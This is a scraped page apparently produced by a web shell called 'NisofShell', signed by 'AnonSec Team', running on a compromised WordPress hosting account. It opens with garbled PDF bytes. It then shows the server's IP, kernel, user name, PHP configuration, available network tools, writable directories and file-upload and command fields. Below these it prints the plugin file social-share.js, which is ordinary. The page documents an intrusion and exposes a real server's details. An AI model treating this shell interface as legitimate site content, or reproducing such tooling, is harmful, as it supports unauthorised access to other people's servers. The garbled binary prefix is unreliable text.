%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/frontend/social-share.js
(function ($) {
    /**
     * @param $scope The Widget wrapper element as a jQuery element
     * @param $ The jQuery alias
     */
    var WidgetSocialShareHandler = function ($scope, $) {
        $(".kata-social-share")
            .find("a")
            .on("click", function () {
                var $this = $(this),
                    $wrap = $this.parent(".kata-social-share"),
                    $post = $wrap.data("id");
                $.ajax({
                    url: kata_plus_localize.ajax.url,
                    type: "POST",
                    data: {
                        nonce: kata_plus_localize.ajax.nonce,
                        action: "post_share_count",
                        post_id: $post,
                    },
                    success(data) {
                        $wrap.find(".kata-post-share-count").find("span").text(data);
                    },
                });
            });
        $(".kata-social-share.kt-social-sticky").each(function (index, element) {
            var $this = $(this),
                offset = $this.offset(),
                top = offset.top,
                max = Math.round(document.querySelector(".kata-post-content").getBoundingClientRect().bottom);
            $(window).scroll(function () {
                if ($(window).scrollTop() >= top - 100 && $(window).scrollTop() <= max) {
                    if (!$this.hasClass("kt-social-sticky-active")) {
                        $this.addClass("kt-social-sticky-active");
                    }
                } else {
                    if ($this.hasClass("kt-social-sticky-active")) {
                        $this.removeClass("kt-social-sticky-active");
                    }
                }
                if ($(window).scrollTop() >= top && $(window).scrollTop() >= max) {
                    if ($this.hasClass("kt-social-sticky-active")) {
                        $this.removeClass("kt-social-sticky-active");
                    }
                }
            });
        });
    };

    // Make sure you run this code under Elementor.
    $(window).on("elementor/frontend/init", function () {
        elementorFrontend.hooks.addAction(
            "frontend/element_ready/kata-plus-social-share.default",
            WidgetSocialShareHandler
        );
    });
})(jQuery);

Anon7 - 2022
AnonSec Team